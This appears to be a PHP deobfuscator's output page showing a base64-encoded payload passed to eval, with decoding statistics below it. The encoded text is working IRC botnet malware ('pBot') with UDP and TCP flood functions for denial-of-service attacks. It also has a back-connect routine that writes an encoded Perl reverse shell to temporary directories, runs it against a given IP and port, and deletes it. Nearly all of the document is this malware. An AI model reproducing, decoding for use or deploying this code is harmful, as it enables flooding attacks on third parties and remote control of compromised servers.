y0+bmljayA9ICJbVV0iOyAKICAgIH0gCiAgICBlbHNlIAogICAgeyAKICAgICAgICR0aGlzLT5uaWNrID0gIltDXSI7IAogICAgfSAKICAgICR0aGlzLT5uaWNrIC49ICR0aGlzLT5jb25maWdbJ3ByZWZpeCddOyAKICAgIGZvcigkaT0wOyRpPCR0aGlzLT5jb25maWdbJ21heHJhbmQnXTskaSsrKSAKICAgICAgICR0aGlzLT5uaWNrIC49IG10X3JhbmQoMCw5KTsgCiAgICAkdGhpcy0+c2VuZCgiTklDSyAiLiR0aGlzLT5uaWNrKTsKIH0gCiAgZnVuY3Rpb24gdWRwZmxvb2QoJGhvc3QsJHBhY2tldHNpemUsJHRpbWUpIHsKCSR0aGlzLT5wcml2bXNnKCR0aGlzLT5jb25maWdbJ2NoYW4nXSwiW1wyVWRwRmxvb2QgU3RhcnRlZCFcMl0iKTsgCgkkcGFja2V0ID0gIiI7Cglmb3IoJGk9MDskaTwkcGFja2V0c2l6ZTskaSsrKSB7ICRwYWNrZXQgLj0gY2hyKG10X3JhbmQoMSwyNTYpKTsgfQoJJHRpbWVpID0gdGltZSgpOwoJJGkgPSAwOwoJd2hpbGUodGltZSgpLSR0aW1laSA8ICR0aW1lKSB7CgkJJGZwPWZzb2Nrb3BlbigidWRwOi8vIi4kaG9zdCxtdF9yYW5kKDAsNjAwMCksJGUsJHMsNSk7CiAgICAgIAlmd3JpdGUoJGZwLCRwYWNrZXQpOwogICAgICAgCWZjbG9zZSgkZnApOwoJCSRpKys7Cgl9CgkkZW52ID0gJGkgKiAkcGFja2V0c2l6ZTsKCSRlbnYgPSAkZW52IC8gMTA0ODU3NjsKCSR2ZWwgPSAkZW52IC8gJHRpbWU7CgkkdmVsID0gcm91bmQoJHZlbCk7CgkkZW52ID0gcm91bmQoJGVudik7CgkkdGhpcy0+cHJpdm1zZygkdGhpcy0+Y29uZmlnWydjaGFuJ10sIltcMlVkcEZsb29kIEZpbmlzaGVkIVwyXTogJGVudiBNQiBlbnZpYWRvcyAvIE1lZGlhOiAkdmVsIE1CL3MgIik7Cn0KIGZ1bmN0aW9uIHRjcGZsb29kKCRob3N0LCRwYWNrZXRzLCRwYWNrZXRzaXplLCRwb3J0LCRkZWxheSkgCiB7IAogICAgJHRoaXMtPnByaXZtc2coJHRoaXMtPmNvbmZpZ1snY2hhbiddLCJbXDJUY3BGbG9vZCBTdGFydGVkIVwyXSIpOyAKICAgICRwYWNrZXQgPSAiIjsgCiAgICBmb3IoJGk9MDskaTwkcGFja2V0c2l6ZTskaSsrKSAKICAgICAgICRwYWNrZXQgLj0gY2hyKG10X3JhbmQoMSwyNTYpKTsgCiAgICBmb3IoJGk9MDskaTwkcGFja2V0czskaSsrKSAKICAgIHsgCiAgICAgICBpZighJGZwPWZzb2Nrb3BlbigidGNwOi8vIi4kaG9zdCwkcG9ydCwkZSwkcyw1KSkgCiAgICAgICB7IAogICAgICAgICAgJHRoaXMtPnByaXZtc2coJHRoaXMtPmNvbmZpZ1snY2hhbiddLCJbXDJUY3BGbG9vZFwyXTogRXJyb3I6IDwkZT4iKTsgCiAgICAgICAgICByZXR1cm4gMDsgCiAgICAgICB9IAogICAgICAgZWxzZSAKICAgICAgIHsgCiAgICAgICAgICBmd3JpdGUoJGZwLCRwYWNrZXQpOyAKICAgICAgICAgIGZjbG9zZSgkZnApOyAKICAgICAgIH0gCiAgICAgICBzbGVlcCgkZGVsYXkpOyAKICAgIH0gCiAgICAkdGhpcy0+cHJpdm1zZygkdGhpcy0+Y29uZmlnWydjaGFuJ10sIltcMlRjcEZsb29kIEZpbmlzaGVkIVwyXTogQ29uZmlnIC0gJHBhY2tldHMgcGFjb3RlcyBwYXJhICRob3N0OiRwb3J0LiIpOyAKIH0KIGZ1bmN0aW9uIGNvbmJhY2soJGlwLCRwb3J0KQogewogICAgJHRoaXMtPnByaXZtc2coJHRoaXMtPmNvbmZpZ1snY2hhbiddLCJbXDJjb25iYWNrXDJdOiB0ZW50YW5kbyBjb25lY3RhbmRvIGEgJGlwOiRwb3J0Iik7CiAgICAkZGNfc291cmNlID0gIkl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdVMjlqYTJWME93MEtjSEpwYm5RZ0lrUmhkR0VnUTJoaE1ITWdRMjl1Ym1WamRDQkNZV05ySUVKaFkydGtiMjl5WEc1Y2JpSTdEUXBwWmlBb0lTUkJVa2RXV3pCZEtTQjdEUW9nSUhCeWFXNTBaaUFpVlhOaFoyVTZJQ1F3SUZ0SWIzTjBYU0E4VUc5eWRENWNiaUk3RFFvZ0lHVjRhWFFvTVNrN0RRcDlEUXB3Y21sdWRDQWlXeXBkSUVSMWJYQnBibWNnUVhKbmRXMWxiblJ6WEc0aU93MEtKR2h2YzNRZ1BTQWtRVkpIVmxzd1hUc05DaVJ3YjNKMElEMGdPREE3RFFwcFppQW9KRUZTUjFaYk1WMHBJSHNOQ2lBZ0pIQnZjblFnUFNBa1FWSkhWbHN4WFRzTkNuME5DbkJ5YVc1MElDSmJLbDBnUTI5dWJtVmpkR2x1Wnk0dUxseHVJanNOQ2lSd2NtOTBieUE5SUdkbGRIQnliM1J2WW5sdVlXMWxLQ2QwWTNBbktTQjhmQ0JrYVdVb0lsVnVhMjV2ZDI0Z1VISnZkRzlqYjJ4Y2JpSXBPdzBLYzI5amEyVjBLRk5GVWxaRlVpd2dVRVpmU1U1RlZDd2dVMDlEUzE5VFZGSkZRVTBzSUNSd2NtOTBieWtnZkh3Z1pHbGxJQ2dpVTI5amEyVjBJRVZ5Y205eVhHNGlLVHNOQ20xNUlDUjBZWEpuWlhRZ1BTQnBibVYwWDJGMGIyNG9KR2h2YzNRcE93MEthV1lnS0NGamIyNXVaV04wS0ZORlVsWkZVaXdnY0dGamF5QWlVMjVCTkhnNElpd2dNaXdnSkhCdmNuUXNJQ1IwWVhKblpYUXBLU0I3RFFvZ0lHUnBaU2dpVlc1aFlteGxJSFJ2SUVOdmJtNWxZM1JjYmlJcE93MEtmUTBLY0hKcGJuUWdJbHNxWFNCVGNHRjNibWx1WnlCVGFHVnNiRnh1SWpzTkNtbG1JQ2doWm05eWF5Z2dLU2tnZXcwS0lDQnZjR1Z1S0ZOVVJFbE9MQ0krSmxORlVsWkZVaUlwT3cwS0lDQnZjR1Z1S0ZOVVJFOVZWQ3dpUGlaVFJWSldSVklpS1RzTkNpQWdiM0JsYmloVFZFUkZVbElzSWo0bVUwVlNWa1ZTSWlrN0RRb2dJR1Y0WldNZ2V5Y3ZZbWx1TDNOb0ozMGdKeTFpWVhOb0p5QXVJQ0pjTUNJZ2VDQTBPdzBLSUNCbGVHbDBLREFwT3cwS2ZRMEtjSEpwYm5RZ0lsc3FYU0JFWVhSaFkyaGxaRnh1WEc0aU93PT0iOwogICAgaWYgKGlzX3dyaXRhYmxlKCIvdG1wIikpCiAgICB7CiAgICAgIGlmIChmaWxlX2V4aXN0cygiL3RtcC9kYy5wbCIpKSB7IHVubGluaygiL3RtcC9kYy5wbCIpOyB9CiAgICAgICRmcD1mb3BlbigiL3RtcC9kYy5wbCIsInciKTsKICAgICAgZndyaXRlKCRmcCxiYXNlNjRfZGVjb2RlKCRkY19zb3VyY2UpKTsKICAgICAgcGFzc3RocnUoInBlcmwgL3RtcC9kYy5wbCAkaXAgJHBvcnQgJiIpOwogICAgICB1bmxpbmsoIi90bXAvZGMucGwiKTsKICAgIH0KICAgIGVsc2UKICAgIHsKICAgIGlmIChpc193cml0YWJsZSgiL3Zhci90bXAiKSkKICAgIHsKICAgICAgaWYgKGZpbGVfZXhpc3RzKCIvdmFyL3RtcC9kYy5wbCIpKSB7IHVubGluaygiL3Zhci90bXAvZGMucGwiKTsgfQogICAgICAkZnA9Zm9wZW4oIi92YXIvdG1wL2RjLnBsIiwidyIpOwogICAgICBmd3JpdGUoJGZwLGJhc2U2NF9kZWNvZGUoJGRjX3NvdXJjZSkpOwogICAgICBwYXNzdGhydSgicGVybCAvdmFyL3RtcC9kYy5wbCAkaXAgJHBvcnQgJiIpOwogICAgICB1bmxpbmsoIi92YXIvdG1wL2RjLnBsIik7CiAgICB9CiAgICBpZiAoaXNfd3JpdGFibGUoIi4iKSkKICAgIHsKICAgICAgaWYgKGZpbGVfZXhpc3RzKCJkYy5wbCIpKSB7IHVubGluaygiZGMucGwiKTsgfQogICAgICAkZnA9Zm9wZW4oImRjLnBsIiwidyIpOwogICAgICBmd3JpdGUoJGZwLGJhc2U2NF9kZWNvZGUoJGRjX3NvdXJjZSkpOwogICAgICBwYXNzdGhydSgicGVybCBkYy5wbCAkaXAgJHBvcnQgJiIpOwogICAgICB1bmxpbmsoImRjLnBsIik7CiAgICB9CiAgICB9CiAgfQp9IAoKJGJvdCA9IG5ldyBwQm90OyAKJGJvdC0+c3RhcnQoKTsgCgo/Pg=="));
?>
Function Calls
base64_decode | 1 |
Stats
MD5 | f918b55eec3e37a9adf74595042e2b04 |
Eval Count | 1 |
Decode Time | 99 ms |